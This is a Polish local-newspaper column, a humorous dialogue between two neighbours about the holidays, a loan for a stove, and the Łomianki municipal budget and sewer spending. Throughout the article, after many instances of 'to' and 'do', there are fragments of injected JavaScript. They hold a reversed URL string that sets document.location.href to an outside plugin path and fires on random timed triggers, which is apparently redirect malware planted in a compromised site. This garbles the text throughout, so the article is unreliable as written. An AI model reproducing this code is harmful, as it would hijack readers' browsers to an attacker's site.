Rozmowy przy płocie

O Łomiankach i nie tylko rozmawiają Hipolit Tutejszy i prezes Jan Wielkomiejski

– Witam poświątecznie pana Hipolita! Jak zdrowie?

– A dziękuję, panie prezesie. Jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mówią: – Święta, święta… i po świętach.

– W tym roku wyjątkowo długo świętoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaliśmy. W zasadzie 10 dni wolnego.

– Jak dla kogo, panie prezesie. Ja już od wielu lat mam nieograniczenie długie święta. Kiedyś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to człowiek patrzył jak święta wypadają i ile będzie laby, ale teraz na emeryturze… wsio rawno.

– W mojej firmie mamy taką niepisaną umowę, że tak rozkładamy sobie pracę, żeby rok zakończyć 23 grudnia. Na re­sztę dni roboczych wszyscy zostawiają sobie urlop i firmę po prostu zamykamy.

– I bardzo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze. Tak powinno być. Wypoczynek wszystkim toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze robi. Teraz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nawet taka moda nastała, żeby na święta w ciepłe kraje jeździć.

– O nie! Panie Hipolicie. To nie dla mnie. Wraz z żoną wyznajemy zasadę, że prawdziwe święta są tylko w toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domu wraz z rodziną. Chociaż ma pan rację. Część moich pracowników wyjechała toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Egiptu, Tunezji, Turcji… Ale niech pan powie, co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to za święta bez choinki, śniegu za oknem i trzaskającego mrozu?

– Śniegu, panie prezesie, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w tym roku i my nie mieliśmy na święta zbyt wiele.

– Faktycznie, z jednej strony trochę żal, bo święta bez śniegu są smutne, ale z drugiej nie trzeba z nim walczyć z łopatą w ręku.

– A niech toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to! Z tego wszystkiego zapomniałem panu jeszcze raz podziękować za przedświąteczną pożyczkę.

– To naprawdę drobiazg, panie Hipolicie.

– Piec kupiłem. Panie kochany, jakie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cuda teraz robią! Malutki taki, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom mi ogrzewa, że w życiu tak w chałupie ciepło nie było. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego oszczędny jak nie przymierzając moja ślubna małżonka. Już teraz widzę, że rachunki za gaz bę­dą znacznie niższe.

– Nie miał pan problemów z przekonaniem żony?

– Panie prezesie! Podszedłem, że tak powiem politycznie. Trochę się na początku boczyła, ale krótko. W końcu przyznała mi rację i stwierdziła: – Zaw­sze mówiłam, że nasz sąsiad toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przyzwoity człowiek.

– Czuję się zaszczycony, panie Hipolicie… Proszę pamiętać, że w razie potrzeby zaw­sze może pan na mnie liczyć.

– Dziękuję bardzo, ale na razie muszę główkować, jak ten dług spłacić.

– A co tam, panie Hipolicie w Łomiankach?

– W zasadzie nic nowego. Budżet radni uchwalili.

– No i jak? Lepszy będzie od poprzednich, które tak krytykowali…

– Panie prezesie, zna pan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to powiedzenie, że punkt widzenia zamienia się wraz z miejscem, gdzie się siedzi?

– ???

– A tak, tak. Ale po kolei. Byłem na tej sesji i muszę powiedzieć dyskusja była bardzo ostra i wielu radnych z projektu budżetu nie było zatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowolonych. Jedni mówili, że za mało pieniędzy przeznaczono na kanalizację, inni, że za dużo wydajemy na szkoły i administrację. Ja tam się na tych wyższych finansach nie znam, ale wydaje mi się, że trochę racji mieli.

– Przecież butoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowa kanalizacji i wotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dociągu miała być teraz najważniejsza…

– No właśnie! A w budżecie po­czątkowo przeznaczono na ten cel zaledwie 2 miliony złotych. Dopiero po zmianach zdecytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowano przeznaczyć cztery.

– Tylko tyle? Panie Hipolicie, przecież toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kropla w morzu potrzeb. W takim tempie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to my rurę na naszej ulicy zobaczymy za ćwierć wieku.

– Może pan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doczeka, bo ja chy­ba nie, wiekowy już niestety je­stem. Ale zaraz, zaraz. Powoli. Łomianki toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to taka bogata gmina. Ile teraz wynosi budżet po stronie wydatków?

– Dokładnie nie pamiętam, ale coś około 72 milionów.

– No proszę, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to spora suma i tylko 4 miliony na kanalizację?

– Burmistrz powiedział, że może będzie więcej, nawet 7, ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to chyba nic pewnego, sko­ro od razu tyle nie dali.

– Panie Hipolicie, siedem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też za mało!

– Mówią, że długi mamy i kredyty trzeba spłacać…

– To prawda, ale o tym wszyscy wiedzieli i dla nikogo nie może być zaskoczeniem konieczność spłaty długów zaciągniętych przez poprzednie władze. Trzeba będzie obejrzeć ten budżet. Ciekaw jestem, ile środków przeznaczono tym razem na administrację i czy dalej będziemy liderem wśród gmin najwięcej wydających na ten cel?

– A tego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie pamiętam, ale chyba dużo, bo jeden radny też narzekał, że administracja nas za dużo kosztuje.

– Widzę, panie Hipolicie, że trzeba ten budżecik sobie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokładnie obejrzeć. Pewnie jest w Internecie…

– O! tak, tak. Dobrze by było, bo pan prezes bardziej oblatany w tych sprawach.

– No toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lecę, panie Hipolicie. Trochę mnie pan zmartwił. Dobranoc.

– A co ja winien?

Sylweriusz Bondziorek

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *